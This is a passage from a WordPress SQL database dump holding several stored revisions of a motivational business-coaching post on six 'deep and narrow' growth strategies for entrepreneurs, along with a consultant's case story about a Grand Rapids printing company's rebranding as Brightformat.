over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n<h2><strong>Go deep and narrow and take a quantum leap in your progress.</strong></h2>\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\nEditors Note:\r\nIf you want to go deeper with these ideas, the WHC is planning a Quantum Leap Workshop in November 2012 in Ojai, California. <a href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a>\r\n\r\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-13', '', '', '2012-08-12 06:50:36', '2012-08-12 13:50:36', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-13/', 0, 'revision', '', 0);
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(2151, 2, '2013-08-20 12:13:20', '2013-08-20 19:13:20', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg"><img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" /></a>\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs and solo professionals to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur or a solo professional at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. At this point in your entrepreneurial journey, you are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce. Your love for what you are doing is essential for your motivation, but by itself, loving what you do won''t create a customer.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about getting your business to the next level, I’m sure these questions swirl around inside your head on a daily basis.  If you want to build a sustainable and profitable business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs and solo professionals, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing your business in ways that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Strategy One–As you think, so it becomes.</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way. Your philosophy is the beginning of everything and determines the outcome of everything!\r\n\r\n<strong><em>Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em> Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.<strong><em></em></strong>\r\n\r\n<strong><em>Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first. If you want more clients, be more to the clients you currently work for.\r\n<h2><strong>Go deep and narrow into these strategies and take a quantum leap in your progress.</strong></h2>\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n<em> </em>\r\n\r\n<em>If you want to go deeper with these ideas, the WHC is planning a Quantum Leap Business Transformation Workshop in November 2013 in Ojai, California. <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a></em>\r\n\r\n</div>', 'How to gain radical competitive advantage in a crowded marketplace.', 0, '', 'inherit', 'open', 'open', '', '2136-autosave', '', '', '2013-08-20 12:13:20', '2013-08-20 19:13:20', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-autosave/', 0, 'revision', '', 0),
(2157, 2, '2012-08-27 08:29:05', '2012-08-27 15:29:05', '<h1><a href="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg"><img class="alignnone size-full wp-image-2158" title="brightformat-lead" src="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg" alt="" width="495" height="201" /></a></h1>\r\n<h1><span style="color: #808080;">After eight years of growth, this digital print and data management company reinvents itself with a new brand positioning, renaming the company, and developing a new visual identity as the foundation for a brighter future.</span></h1>\r\nAllow me to introduce my clients Pete Houlihan and Mike Glupker, co-CEOs of <a href="http://www.brightformat.com/" target="_blank">Brightformat </a>in Grand Rapids, Michigan.  Over the past six months, I’ve been consulting with Mike and Pete, helping them and their business development team craft their vision for the next level of business growth. It’s been an amazing journey for these creative business leaders as they have grown their business from a small mailing and database services company to one of West Michigan’s premier digital printing and direct marketing services company. And I feel especially grateful to have had a hand in helping them to reinvent their future.\r\n\r\n<strong>The Challenge</strong>\r\nFormerly known as Diversified Data Services, Pete and Mike realized their business had grown far past its mail house roots to serve higher-end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit and did not express the unique value their company brought to their customers. Consequently they could no longer ignore the difficult process of reinvention.\r\n\r\n<strong></strong>The printing industry is a commodity business where customers have abundant choice of providers and most printing companies compete for business solely on price. The company, which had an excellent reputation for customer service, had moved the core of its original mail house services business to new technologies in on-demand printing, large format printing and direct marketing support services.\r\n\r\n<strong>Doing What Matters</strong>\r\nPete and Mike represent the type of creative entrepreneur that will dominate in the new idea economy because they recognize the essential business strategy of doing what matters to them and serves the good of their customers. They’re fanatics in this regard.\r\n\r\nServing people well and helping their customers create success in their business outcomes really matters to these guys. The partners have a deep and narrow focus on creating a vibrant, stress-free customer experience at level of interaction with customers. This level of customer service is not easily duplicated and consequently represented a significant point of difference that separates them from their competitors in the minds of their customers. This enables them to command a price premium in their market. However, their customers believe the value they receive from Pete and Mike is cheap at twice the price. Now that’s a pricing strategy.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg"><img class="alignnone size-full wp-image-2160" title="bf-apparal" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg" alt="" width="495" height="338" /></a>\r\n\r\n<strong>An open mind eliminates a closed future.</strong>\r\nAnother thing I learned to appreciate working with these business leaders is the fact they had an open mind about their future. Their thinking was expansive and not boxed in by the conventions of their industry, their market, and their competitors. When discussing ideas in our workshops together, the partners were always asking, “what if questions”, exploring the boundaries and looking for breakthroughs.\r\n<h2>This open mindedness also facilitated an honesty about who they were as CEOs, their management styles and how capable they were in delivering on the promise of what made their company special to their customers.\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg"><img class="alignnone size-full wp-image-2161" title="bflogo" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg" alt="" width="515" height="186" /></a></h2>\r\n<strong>Creating a business name that fit a bigger future.</strong>\r\n\r\nAfter exploring hundreds of naming candidates generated from our workshops and discussions, we were settled on three promising candidates as finalists. They all met the success criteria we established earlier in the creative process, but they were not ringing the bell. None of them were feeling “right” even after several visual design explorations to bring them to life\r\n\r\nThen one day, after a month of pondering and discussions on the final candidates, Mike called me and exclaimed “ Last night the word brightformat name popped into my head. I googled it and checked its availability as a URL and it’s available! I want to go with this, it just works for me”.\r\n\r\nMike was trusting his intuition; He didn’t need to have it validated by others (consultant included). Mike liked the logic behind our “finalists” but they were not connecting at the deep intuitive level that Mike believed was essential for success. When Pete confirmed his excitement on the name from “outta nowhere”, the future of their new direction was set.\r\n\r\n<a href="http://vimeo.com/48003840"><img class="alignleft size-full wp-image-2162" title="pete-and-mike" src="http://whc.fbdev.org/wp-content/uploads/2012/08/pete-and-mike.jpg" alt="" width="250" height="384" /></a><strong>The Outcome</strong>\r\nCheck out the <a href="http://vimeo.com/48003840" target="_blank">video featuring Pete and Mike</a> announcing the name change with humor and grace. Here’s what Pete Houlihan, CEO of Brightformat, had to say about working with me on this project:\r\n\r\n<em>“From the very beginning of the workshops with Thomson and through the implementation of our name and visual expression, Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. He didn’t tell us who we should be or where we should go–he guided us along a path that helped us discover our direction and purpose had been there all along, we just needed the expertise to help us reveal it.”</em>\r\n\r\nThank you Pete and Mike for the pleasure of working and learning with you and best wishes for your next level of success!\r\n\r\n<em><strong>If you’re experiencing a challenge to your business growth and success, and would like to explore the possibilities of working together in a similar fashion, <a href="mailto://thomson@whitehotcenter.com" target="_blank">send me an email.</a></strong></em>', 'Creative Entrepreneur Case Story: Brightformat ', 0, '', 'publish', 'open', 'open', '', 'creative-entrepreneur-case-story-brightformat', '', '', '2012-09-01 13:26:18', '2012-09-01 20:26:18', '', 0, 'http://www.whitehotcenter.com/?p=2157', 0, 'post', '', 0),
(2171, 2, '2012-09-01 13:21:37', '2012-09-01 20:21:37', '<h1><a href="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg"><img class="alignnone size-full wp-image-2158" title="brightformat-lead" src="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg" alt="" width="495" height="201" /></a></h1>\r\n<h1><span style="color: #808080;">After eight years of growth, this digital print and data management company reinvents itself with a new brand positioning, renaming the company, and developing a new visual identity as the foundation for a brighter future.</span></h1>\r\nAllow me to introduce my clients Pete Houlihan and Mike Glupker, co-CEOs of <a href="http://www.brightformat.com/" target="_blank">Brightformat </a>in Grand Rapids, Michigan.  Over the past six months, I’ve been consulting with Mike and Pete, helping them and their business development team craft their vision for the next level of business growth. It’s been an amazing journey for these creative business leaders as they have grown their business from a small mailing and database services company to one of West Michigan’s premier digital printing and direct marketing services company. And I feel especially grateful to have had a hand in helping them to reinvent their future.\r\n\r\n<strong>The Challenge</strong>\r\nFormerly known as Diversified Data Services, Pete and Mike realized their business had grown far past its mail house roots to serve higher-end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit and did not express the unique value their company brought to their customers. Consequently they could no longer ignore the difficult process of reinvention.\r\n\r\n<strong></strong>The printing industry is a commodity business where customers have abundant choice of providers and most printing companies compete for business solely on price. The company, which had an excellent reputation for customer service, had moved the core of its original mail house services business to new technologies in on-demand printing, large format printing and direct marketing support services.\r\n\r\n<strong>Doing What Matters</strong>\r\nPete and Mike represent the type of creative entrepreneur that will dominate in the new idea economy because they recognize the essential business strategy of doing what matters to them and serves the good of their customers. They’re fanatics in this regard.\r\n\r\nServing people well and helping their customers create success in their business outcomes really matters to these guys. The partners have a deep and narrow focus on creating a vibrant, stress-free customer experience at level of interaction with customers. This level of customer service is not easily duplicated and consequently represented a significant point of difference that separates them from their competitors in the minds of their customers. This enables them to command a price premium in their market. However, their customers believe the value they receive from Pete and Mike is cheap at twice the price. Now that’s a pricing strategy.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg"><img class="alignnone size-full wp-image-2160" title="bf-apparal" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg" alt="" width="495" height="338" /></a>\r\n\r\n<strong>An open mind eliminates a closed future.</strong>\r\nAnother thing I learned to appreciate working with these business leaders is the fact they had an open mind about their future. Their thinking was expansive and not boxed in by the conventions of their industry, their market, and their competitors. When discussing ideas in our workshops together, the partners were always asking, “what if questions”, exploring the boundaries and looking for breakthroughs.\r\n<h2>This open mindedness also facilitated an honesty about who they were as CEOs, their management styles and how capable they were in delivering on the promise of what made their company special to their customers.\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg"><img class="alignnone size-full wp-image-2161" title="bflogo" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg" alt="" width="515" height="186" /></a></h2>\r\n<strong>Creating a business name that fit a bigger future.</strong>\r\n\r\nAfter exploring hundreds of naming candidates generated from our workshops and discussions, we were settled on three promising candidates as finalists. They all met the success criteria we established earlier in the creative process, but they were not ringing the bell. None of them were feeling “right” even after several visual design explorations to bring them to life\r\n\r\nThen one day, after a month of pondering and discussions on the final candidates, Mike called me and exclaimed “ Last night the word brightformat name popped into my head. I googled it and checked its availability as a URL and it’s available! I want to go with this, it just works for me”.\r\n\r\nMike was trusting his intuition; He didn’t need to have it validated by others (consultant included). Mike liked the logic behind our “finalists” but they were not connecting at the deep intuitive level that Mike believed was essential for success. When Pete confirmed his excitement on the name from “outta nowhere”, the future of their new direction was set.\r\n\r\n<a href="http://vimeo.com/48003840"><img class="alignleft size-full wp-image-2162" title="pete-and-mike" src="http://whc.fbdev.org/wp-content/uploads/2012/08/pete-and-mike.jpg" alt="" width="250" height="384" /></a><strong>The Outcome</strong>\r\nCheck out the <a href="http://vimeo.com/48003840" target="_blank">video featuring Pete and Mike</a> announcing the name change with humor and grace. Here’s what Pete Houlihan, CEO of Brightformat, had to say about working with me on this project:\r\n\r\n<em>“From the very beginning of the workshops with Thomson and through the implementation of our name and visual expression, Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. He didn’t tell us who we should be or where we should go–he guided us along a path that helped us discover our direction and purpose had been there all along, we just needed the expertise to help us reveal it.”</em>\r\n\r\nThank you Pete and Mike for the pleasure of working and learning with you and best wishes for your next level of success!\r\n\r\n<em><strong>If you’re experiencing a challenge to your business growth and success, and would like to explore the possibilities of working together in a similar fashion, <a href="mailto://thomson@whitehotcenter.com" target="_blank">send me an email.</a></strong></em>', 'Creative Entrepreneur Case Story: Brightformat ', 0, '', 'inherit', 'open', 'open', '', '2157-autosave', '', '', '2012-09-01 13:21:37', '2012-09-01 20:21:37', '', 2157, 'http://www.whitehotcenter.com/2012/09/2157-autosave/', 0, 'revision', '', 0),
(2153, 2, '2012-08-12 07:01:17', '2012-08-12 14:01:17', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg"><img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" /></a>\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n<h2><strong>Go deep and narrow and take a quantum leap in your progress.</strong></h2>\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\nEditors Note:\r\nIf you want to go deeper with these ideas, the WHC is planning a Quantum Leap Workshop in November 2012 in Ojai, California. <a href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a>\r\n\r\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-14', '', '', '2012-08-12 07:01:17', '2012-08-12 14:01:17', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-14/', 0, 'revision', '', 0),
(2154, 2, '2012-08-12 07:09:16', '2012-08-12 14:09:16', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg"><img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" /></a>\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to 